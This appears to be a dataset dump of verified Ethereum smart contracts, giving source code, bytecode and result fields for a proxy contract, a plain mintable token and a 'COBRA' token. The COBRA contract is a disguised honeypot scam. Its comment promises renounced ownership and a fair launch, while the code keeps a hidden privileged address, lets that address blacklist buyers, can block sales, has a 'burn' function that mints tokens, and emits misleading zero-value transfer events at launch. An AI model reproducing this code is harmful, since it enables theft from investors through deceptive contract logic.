function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 955 |
0x82e1e5209A345c94F7F236dfB55152943F4D426A | pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract HeyChain is MintableToken {
string public name = "Hey Chain";
string public symbol = "HEY";
uint256 public decimals = 18;
} | 0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610113578063095ea7b31461019d57806318160ddd146101c157806323b872dd146101e8578063313ce5671461021257806340c10f1914610227578063661884631461024b57806370a082311461026f5780637d64bcb4146102905780638da5cb5b146102a557806395d89b41146102d6578063a9059cbb146102eb578063d73dd6231461030f578063dd62ed3e14610333578063f2fde38b1461035a575b600080fd5b3480156100f657600080fd5b506100ff61037d565b604080519115158252519081900360200190f35b34801561011f57600080fd5b5061012861039e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016257818101518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a957600080fd5b506100ff600160a060020a036004351660243561042c565b3480156101cd57600080fd5b506101d6610492565b60408051918252519081900360200190f35b3480156101f457600080fd5b506100ff600160a060020a0360043581169060243516604435610498565b34801561021e57600080fd5b506101d661060f565b34801561023357600080fd5b506100ff600160a060020a0360043516602435610615565b34801561025757600080fd5b506100ff600160a060020a0360043516602435610730565b34801561027b57600080fd5b506101d6600160a060020a0360043516610820565b34801561029c57600080fd5b506100ff61083b565b3480156102b157600080fd5b506102ba6108e1565b60408051600160a060020a039092168252519081900360200190f35b3480156102e257600080fd5b506101286108f0565b3480156102f757600080fd5b506100ff600160a060020a036004351660243561094b565b34801561031b57600080fd5b506100ff600160a060020a0360043516602435610a2c565b34801561033f57600080fd5b506101d6600160a060020a0360043581169060243516610ac5565b34801561036657600080fd5b5061037b600160a060020a0360043516610af0565b005b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156104af57600080fd5b600160a060020a0384166000908152602081905260409020548211156104d457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561050457600080fd5b600160a060020a03841660009081526020819052604090205461052d908363ffffffff610b8516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610562908363ffffffff610b9716565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105a4908363ffffffff610b8516565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b600354600090600160a060020a0316331461062f57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561065757600080fd5b60015461066a908363ffffffff610b9716565b600155600160a060020a038316600090815260208190526040902054610696908363ffffffff610b9716565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561078557336000908152600260209081526040808320600160a060020a03881684529091528120556107ba565b610795818463ffffffff610b8516565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461085557600080fd5b60035474010000000000000000000000000000000000000000900460ff161561087d57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104245780601f106103f957610100808354040283529160200191610424565b6000600160a060020a038316151561096257600080fd5b3360009081526020819052604090205482111561097e57600080fd5b3360009081526020819052604090205461099e908363ffffffff610b8516565b3360009081526020819052604080822092909255600160a060020a038516815220546109d0908363ffffffff610b9716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a60908363ffffffff610b9716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b0757600080fd5b600160a060020a0381161515610b1c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b9157fe5b50900390565b81810182811015610ba457fe5b929150505600a165627a7a72305820f81dd1888682d5410b2c19eba9829b8a3bfe1efbf12395e7ee13feab0983e4730029 | {"success": true, "error": null, "results": {}} | 956 |
0xdb691cdb1b484b64604331e31c1aa199830c1d7c | /*
___.
____ ____\_ |______________
_/ ___\/ _ \| __ \_ __ \__ \
\ \__( <_> ) \_\ \ | \// __ \_
\___ >____/|___ /__| (____ /
\/ \/ \/
COBRA is a new ERC20/Eth Token that is used for the Snakify Play to earn game.
5% Tax for marketing & buyback + burn
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
50% Supply Burned on Launch
100% Fair Launch - no presale, no whitelist
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Cobra is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "COBRA";
string public _symbol= "COBRA";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x39D1a7808Ce673Ae1dFf09fD11EF1F8BCBeE544d);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173fffffffffff